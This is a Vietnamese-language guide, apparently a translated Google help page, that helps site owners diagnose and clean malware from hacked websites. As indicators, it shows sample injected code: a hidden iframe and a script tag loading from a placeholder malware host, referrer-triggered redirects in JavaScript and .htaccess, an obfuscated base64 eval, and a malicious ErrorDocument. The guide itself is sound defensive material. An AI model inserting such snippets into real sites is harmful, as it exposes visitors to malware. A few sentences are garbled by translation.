Bị tấn công bằng phần mềm độc hại

Phần mềm độc hại là bất kỳ phần mềm hoặc ứng dụng di động nào được thiết kế nhằm mục đích gây hại máy tính, thiết bị di động, phần mềm mà thiết bị đang chạy hoặc người dùng thiết bị. Để biết thêm thông tin về phần mềm độc hại là gì, hãy xem Phần mềm độc hại và phần mềm không mong muốn.

Nếu trang web của bạn chứa phần mềm độc hại thì người dùng thường sẽ thấy cảnh báo "Trang web này có thể gây hại cho máy tính của bạn" hiển thị trong kết quả tìm kiếm hoặc trên trang xen kẽ do trình duyệt hiển thị khi người dùng cố gắng truy cập vào trang web, có dạng như sau:

Trang xen kẽ phần mềm độc hại tiêu biểu
Kết quả tìm kiếm có cảnh báo phần mềm độc hại.

Bạn sẽ cần:

  • Quyền truy cập của quản trị viên shell hoặc thiết bị đầu cuối vào các máy chủ của trang web: web, cơ sở dữ liệu, và tệp.
  • Có kiến thức về lệnh shell hoặc dòng lệnh.
  • Có thể chạy các truy vấn SQL trên cơ sở dữ liệu.

Chuẩn bị

  • Đăng ký Search Console và xác minh quyền sở hữu trang web bị tấn công của bạn như mô tả ở đó. Search Console cung cấp một ví dụ về các trang bị ảnh hưởng, giúp bạn tìm và khắc phục các vấn đề bị tấn công bằng phần mềm độc hại dễ dàng hơn nhiều. Ngoài ra, bạn sẽ bị cảnh báo khi trang web của bạn bị phát hiện là bị ảnh hưởng bởi nhiều loại phần mềm độc hại hoặc tấn công khác.
  • Xem trang chẩn đoán Duyệt web An toàn của Google để xem thông tin công khai về việc một trang web có khả năng gây hại cho người dùng hay không. Bạn có thể xem trạng thái trang thông tin của trang hoặc trang web tại một URL tương tự như sau: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** Ví dụ: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> có thể là một URL trang cụ thể (http://example.com/badpage) hoặc toàn bộ trang web của bạn (example.com).

  • Tránh dùng một trình duyệt để xem các trang trên trang web của bạn. Bởi vì phần mềm độc hại thường phát tán bằng cách khai thác các lỗ hổng của trình duyệt, mở ra một phần mềm độc hại bị nhiễm trong trình duyệt có thể gây hại cho máy tính của bạn. Trừ phi có hướng dẫn chẩn đoán truy cập trang ngay trong trình duyệt, hãy sử dụng cURL hoặc Wget để thực hiện các yêu cầu HTTP (ví dụ: để tìm nạp một trang).

    Những công cụ miễn phí này rất hữu ích trong việc chẩn đoán lệnh chuyển hướng, đồng thời giúp sự linh hoạt trong việc thêm thông tin liên kết giới thiệu hoặc tác nhân người dùng. Bao gồm liên kết giới thiệu cụ thể hoặc tác nhân người dùng hữu ích trong việc bắt chước tin tặc, vì tin tặc có thể chỉ phân phát nội dung độc hại đến người dùng tác nhân người dùng hoặc liên kết giới thiệu để nhắm mục tiêu nhiều "người thực" hơn và tránh phát hiện từ chủ sở hữu trang web và trình quét phần mềm độc hại.

`curl -v --referer "http://www.google.com" <your-url>`

Sau đây là ví dụ chỉ định cả tác nhân người dùng và đường liên kết giới thiệu:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Bạn nên tìm nạp một trang có và không có --referer "https://www.google.com", do một số phần mềm độc hại chỉ được kích hoạt khi người dùng đến từ kết quả tìm kiếm trên Google.

  • Tạo một tài liệu để ghi lại những phát hiện từ bước này. Tài liệu này sẽ cuối cùng sẽ bao gồm (tối thiểu) tên và vị trí của mỗi tệp bị hỏng và ghi chú về cách vi-rút bị lây nhiễm và sẽ là cơ sở để Làm sạch và bảo trì trang web của bạn.

  • Hãy xem video ở phần trước trên trang này để biết cách phần mềm độc hại hoạt động và cách bạn có thể luôn được an toàn trong quá trình điều tra phần mềm độc hại.

Chẩn đoán

Xác định phần mềm độc hại nào đang ảnh hưởng đến trang web của bạn:

  1. Mở báo cáo Vấn đề bảo mật cho trang web của bạn trong Search Console. Mở rộng phần mô tả về cảnh báo phần mềm độc hại để xem danh sách ví dụ về các trang bị ảnh hưởng. Xin lưu ý rằng đây chưa phải là danh sách đầy đủ; bạn có thể không thấy các trang mẫu cho mọi loại phần mềm độc hại trên trang web của bạn.
  2. Kiểm tra các trang mẫu của bạn để tìm các loại phần mềm độc hại sau.

Phần mềm độc hại cho cấu hình máy chủ (chuyển hướng không mong muốn)

Một tin tặc đã xâm phạm trang web của bạn và đang chuyển hướng khách truy cập từ trang web của bạn trang web đến trang web tấn công phần mềm độc hại của họ, có thể bằng cách sửa đổi tệp cấu hình. Tệp cấu hình máy chủ thường cho phép trang web để chỉ định lệnh chuyển hướng URL cho các trang hoặc thư mục cụ thể trên của bạn. Ví dụ: trên các máy chủ Apache, đây là tệp .htaccesshttpd.conf.

Chẩn đoán

Truy cập một số URL mẫu có trong bảng báo cáo về các vấn đề bảo mật. Phản hồi từ một trang bị nhiễm "cấu hình máy chủ" nhiễm trùng có thể bao gồm các tiêu đề sau:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Xác định các tệp bị ảnh hưởng

Đăng nhập vào máy chủ của bạn thông qua truy cập shell hoặc thiết bị đầu cuối (trang web có thể ngoại tuyến nếu muốn) và xem xét các tệp cấu hình máy chủ có liên quan. Có thể có thêm nhiều tệp cấu hình máy chủ bị tấn công trên trang web của bạn. Kiểm tra các tệp này để các lệnh không mong muốn, chẳng hạn như lệnh chuyển hướng đến trang web không xác định. Ví dụ: trong .htaccess`, bạn có thể thấy một lệnh chuyển hướng có dạng như sau:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

Chèn SQL

Một tin tặc đã xâm nhập cơ sở dữ liệu trang web của bạn. Ví dụ: tin tặc có thể đã chèn mã độc hại theo phương thức lập trình vào mọi bản ghi của cơ sở dữ liệu để khi máy chủ tải một trang yêu cầu thông tin từ mã độc hại hiện được nhúng vào nội dung của trang và có thể gây hại cho khách truy cập trang web.

Chẩn đoán

  1. Chạy một số truy vấn trên các URL bị ảnh hưởng trong dòng lệnh và kiểm tra phản hồi cho các từ tấn công SQL như "iframe" hoặc "eval".
  2. Đăng nhập vào máy chủ cơ sở dữ liệu hoặc xem cơ sở dữ liệu của bạn thông qua một công cụ như phpMyAdmin. Nếu bạn đã sử dụng Wget hoặc cURL, hãy thử đối chiếu thiệt hại phát hiện thấy trong nguồn của trang mã thông qua Wget hoặc cURL với các mục nhập cơ sở dữ liệu thực tế. Ví dụ: nếu bạn nhận thấy các trang của mình có một iframe nguy hiểm, bạn có thể thực hiện một SQL tìm kiếm mã iframe. Ví dụ:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. Có thể bạn cũng nên kiểm tra nhật ký cơ sở dữ liệu và các tệp lỗi trên máy chủ để tìm hoạt động bất thường, chẳng hạn như các lệnh SQL không mong muốn có vẻ bất thường đối với người dùng thông thường hoặc lỗi.

Khắc phục vấn đề

Cập nhật từng bản ghi cơ sở dữ liệu bị nhiễm hoặc khôi phục cơ sở dữ liệu đã biết gần đây nhất của bạn sao lưu.

Đưa vào mã

Các trang trên trang web của bạn đã bị sửa đổi để chứa mã độc hại, chẳng hạn như iframe để một trang web tấn công phần mềm độc hại.

Chẩn đoán

Truy cập một số URL mẫu có trong báo cáo Vấn đề bảo mật bằng cURL hoặc Nhận và kiểm tra mã đáng ngờ. Mã được chèn có thể có nhiều loại và có thể rất khó tìm. Việc tìm kiếm những từ như "iframe" có thể sẽ giúp ích cho bạn để tìm mã iframe. Các từ khóa hữu ích khác là "script", "eval" và "unescape". Cho ví dụ: để tìm kiếm "iframe" trong tất cả các tệp trên các hệ thống có nền tảng Unix:

$grep -irn "iframe" ./ | less</pre>

Dưới đây là một số kiểu phần mềm độc hại phổ biến để tìm kiếm.

iframe tải một trang web độc hại:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript hoặc một ngôn ngữ tập lệnh khác có chức năng gọi và chạy các tập lệnh từ trang web tấn công:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Tập lệnh chuyển hướng trình duyệt đến một trang web tấn công:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Mã có hại bị làm rối mã nguồn để tránh bị phát hiện:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

Các tệp đối tượng được chia sẻ được thiết kế để ghi ngẫu nhiên mã độc hại vào mục đích vô hại tập lệnh:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Mẫu lỗi độc hại

Mẫu dùng cho các thông báo lỗi (chẳng hạn như lỗi 404 Không tìm thấy tệp) đã được định cấu hình để phát tán phần mềm độc hại. Bằng cách này, kẻ tấn công có thể tiến hành tấn công vào các URL thậm chí không tồn tại trên trang web của bạn.

Chẩn đoán

Yêu cầu một trang không tồn tại trên trang web của bạn hoặc gửi một loại URL khác lỗi và kiểm tra phản hồi để xem phản hồi đó có đến từ một trang web khác hay không nếu không thì lại chứa phần mềm độc hại.

Khắc phục vấn đề

Đăng nhập vào máy chủ web của bạn và tìm kiếm tệp cấu hình máy chủ để tìm lỗi trang. Ví dụ: mẫu lỗi cho máy chủ web Apache có thể là đã khai báo trong tệp .htaccess. Dưới đây là mục nhập tệp .htaccess mẫu truy xuất trang lỗi 404 từ một trang web độc hại:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Khi bạn đã sẵn sàng làm sạch trang web của mình, hãy thay thế(các) tệp .htaccess bằng một bản sao lưu hợp lệ đã biết, hoặc xoá các lệnh ErrorDocument không mong muốn trên .htaccess tệp hiện có. Ngoài ra, hãy nhớ xoá các tệp lỗi thực tế nếu chúng tồn tại trên trang web của bạn. Cuối cùng, hãy khởi động lại máy chủ web của bạn để đảm bảo tất cả các thay đổi sẽ có hiệu lực.

Tài nguyên đang tải từ một trang web bị xâm nhập hoặc độc hại { Play-resources}

Trang web của bạn sử dụng nội dung hoặc tài nguyên từ một trang web được xác định là có chứa nội dung độc hại. Các tệp này có thể là tệp JavaScript, hình ảnh hoặc các tệp khác. Do đó, trang web của bạn sẽ bị gắn cờ nếu phần mềm độc hại được tải từ của bạn.

Chẩn đoán

Truy cập một số URL mẫu có trong bảng báo cáo về các vấn đề bảo mật.

Khắc phục vấn đề

  1. Xác nhận vấn đề bằng cách duyệt đến một vài URL mẫu được liệt kê trong Báo cáo Vấn đề bảo mật trong Search Console. Bạn sẽ thấy một cảnh báo của trình duyệt.
  2. Cảnh báo của trình duyệt sẽ cho bạn biết miền của nội dung có vấn đề. Hãy xóa tất cả các mục tham chiếu đến trang web bị gắn cờ trong cảnh báo của trình duyệt. Nếu bạn không biết nội dung của một trang web bị gắn cờ, thì vấn đề nghiêm trọng hơn. Trang web của bạn rất có thể đã bị xâm phạm và bạn nên tiếp tục kiểm tra trang web của bạn để tìm các vụ tấn công và lỗ hổng khác.
  3. Nếu bạn cố ý đưa vào nội dung từ một trang web hợp pháp đã trở thành bị gắn cờ và bạn muốn bao gồm lại nội dung sau trang web bị gắn cờ là đã dọn dẹp, bạn có thể theo dõi trạng thái của trang web bị gắn cờ bằng cách sử dụng Trang chẩn đoán về tính năng Duyệt web An toàn của Google cho trang web đó (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. Chủ sở hữu của các trang web hợp pháp thường dọn dẹp chúng nhanh chóng.

Điều tra bổ sung

Tiếp theo, kiểm tra xem có bất kỳ tệp độc hại hoặc thay đổi nào khác trên hệ thống của bạn không. Chiến lược phát hành đĩa đơn tin tặc có thể đã sửa đổi các trang hoặc bản ghi cơ sở dữ liệu hiện có, được tạo hoàn toàn trang spam mới, các hàm được viết hiển thị spam trên các trang sạch hoặc đã rời khỏi "cửa sau" cho phép tin tặc truy cập lại vào trang web của bạn hoặc chèn lại mã độc mà bạn đã loại bỏ.

Nếu trang web của bạn đang trực tuyến, hãy cân nhắc việc ngoại tuyến để điều tra.

Nếu bạn có một bản sao lưu tốt cho trang web của mình, hãy xác định những tệp nào đã bị được tạo hoặc sửa đổi kể từ khi sao lưu và điều tra chúng. Trên nền tảng Unix hệ thống, bạn có thể sử dụng lệnh như sau để tìm tệp mới:

diff -qr <current-directory> <backup-directory>

Ví dụ:

diff -qr www/ backups/full-backup-20120124/

đồng thời:

md5sum <current-page> <backup-page>

Ví dụ:

md5sum www/page.html backups/full-backup-20120124/page.html

Kiểm tra nhật ký máy chủ, quyền truy cập và lỗi để xem có bất kỳ hoạt động đáng ngờ nào không như các lần đăng nhập không thành công, lịch sử lệnh (đặc biệt là ở cấp độ gốc) và việc tạo tài khoản người dùng không xác định. Lưu ý rằng tin tặc có thể đã thay đổi các nhật ký này cho mục đích riêng của họ. Trong video, chúng tôi có một số ví dụ về Xác định lỗ hổng.

Kiểm tra tệp cấu hình để tìm lệnh chuyển hướng. Các tệp cấu hình của bạn là thường có tên là .htaccesshttpd.conf. Tin tặc thường tạo những điều kiện chuyển hướng dựa trên tác nhân người dùng, thời gian trong ngày hoặc liên kết giới thiệu. Nếu bạn cần cập nhật các tệp cấu hình, bạn có thể cần phải khởi động lại máy chủ để để các thay đổi có hiệu lực.

Kiểm tra xem có các quyền đối với thư mục và tệp không phù hợp quá mức hay không. Tin tặc can thiệp vì nếu chủ sở hữu trang web vẫn không phát hiện thấy các quyền nới lỏng, tin tặc sẽ có cách để truy cập lại trang web. Tệp lớn hơn 644 (rw-r--r--) và các thư mục lớn hơn 755 (rwxr-xr-x) có thể gây ra vấn đề bảo mật vấn đề. Hãy đảm bảo rằng bất kỳ quyền nào rộng rãi hơn đều thật sự cần thiết. Bật nếu bạn có các hệ thống dựa trên Unix, hãy thử:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

và:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Nếu bạn có một cơ sở dữ liệu, hãy điều tra từng bản ghi bằng một công cụ như phpMyAdmin.